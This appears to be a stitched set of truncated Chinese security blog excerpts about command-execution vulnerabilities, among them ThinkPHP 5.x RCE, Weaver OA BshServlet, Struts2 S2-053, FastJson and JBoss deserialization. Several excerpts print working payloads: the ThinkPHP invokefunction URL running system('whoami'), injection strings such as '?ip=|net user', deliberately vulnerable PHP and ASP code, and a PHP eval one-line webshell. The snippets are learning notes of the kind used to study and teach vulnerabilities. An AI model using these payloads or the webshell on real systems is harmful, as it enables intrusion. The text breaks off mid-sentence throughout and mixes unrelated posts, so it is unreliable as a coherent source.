应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行系统命令.当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞. 命令执行攻击过程 页面1.php提供了ping的功能,当给参数IP输入127.0.0.1时, 程序会执行ping 127.0.0.1,然后将ping的结果返回到页面上,如下图所示. 而如果将参数IP设置

ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command execution vulnerabilities 5.0.21 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ?s=index/\thi

命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; ?> 提交 http://127.0.0.1/cmd.php?ip=|net user 提交以后,命令变成了 shell_exec('p

ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075 漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1. 二.漏洞影响版本 Thinkphp 5.x-Thinkphp 5.1.31 Thinkphp 5.0.x<=5.0.

0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA上进行远程代码执行. 0x03影响范围 泛微 e-cology<=9.0 0x04漏洞复现 访问 http://url/weaver/bsh.servlet.BshServlet 输入 payload 如下: 0x05poc 漏洞路径:/weaver/bsh.servlet.BshServlet e

1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式.导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞.(说句实话,没看懂啥意思,不过大致意思是没有处理好用户输入,导致rce产生) 影响版本:Struts 2.0.

ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/details/86668057 版权声明:本文为博主原创文章,转载请附上博文链接! 漏洞概述:ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架.借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式.1月11日,ThinkPHP官方发布新版本5.0.24,在

楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了 一.thinkphp5.X系列 1.安装composer yum -y install composer 安装php拓展 yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y 2.切换目录到/var/www/html cd /var

0x00 命令执行漏洞原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行系统命令.当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞. 0x01 挖掘思路 1:用户能够控制函数输入 2:存在可执行代码的危险函数 0x02 命令执行和代码执行的区别 代码执行: 执行的效果完全受限于语言本身 命令执行: 执行的效

thinkPHP中反斜杠的作用是类库\命名空间 命令执行的姿势 通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,如下所示,通过call_user_func_array函数调用system执行whoami函数 ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=syst

前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞. 基本函数 1.system()用于执行外部程序,并且显示输出 <?php system('whoami'); ?> 2.exec()函数用于执行一个外部程序 <?php exec('whoami');?> 3.shell_exec()函数通过shell环境执行命令,并且将

首先我们来了解基础 基础知识来源于:<web安全攻防>徐焱 命令执行漏洞 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行系统命令.当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞. 先了解下这些知识 Windows管道符 "|":直接执行后面的语句.如:ping 127.0.0.1|wh

文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create_function() array_map() array_filter() call_user_func() call_user_func_array() eval() 将字符串当作PHP代码执行,注意一定要带分号: <?php @eval($_POST['shell']);?> 将含有这个代码的PHP文件上传到服务器,命名为webshell.ph

FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换. fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串

先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须安装,只要解压缩后执行 hfs.exe,于「Virtual File System(虚拟档案系统)」窗格下按鼠标右键,即可新增/移除虚拟档案资料夹,或者直接将欲加入的档案拖曳至此窗口,便可架设完成个人HTTP网络文件服务器. 故事开始了. 今天尼古拉斯四哥在群里发来那么一个IP 打开看了一下.是传说

命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip") response.write server.createobject("wscript.shell").exec("cmd.exe /c ping "&ip&"").stdout.readall %> 利用方式: http:

Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发布最新的补丁. 下面是官方公布的漏洞概要: =========================================================== == Subject:     Remote code execution in nmbd == == CVE ID#:     CVE

手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘原则[会比自动扫描器发现的漏洞要多,要全面] 1.每一个变量都进行尝试 2.所有头[如:cookie中的变量] 3.逐个变量删除 #####################################################################################

本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) 靶机地址:192.168.1.102  服务端口:8080 测试机: 192.168.1.100 搭建好环境,访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly    响应码500,证明漏洞存

文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.132 Metasploitable靶机:192.168.163.129 首先我们要尝试身份认证(登陆): 就拿DVWA来测试 启动Burpsuite,访问DVWA: 假设我们现在不知道这里的用户名和密码是多少: 现在我先把密码故意输错: 发现DVWA只是告诉我登陆失败,却并没有告诉我哪里失败,为什么会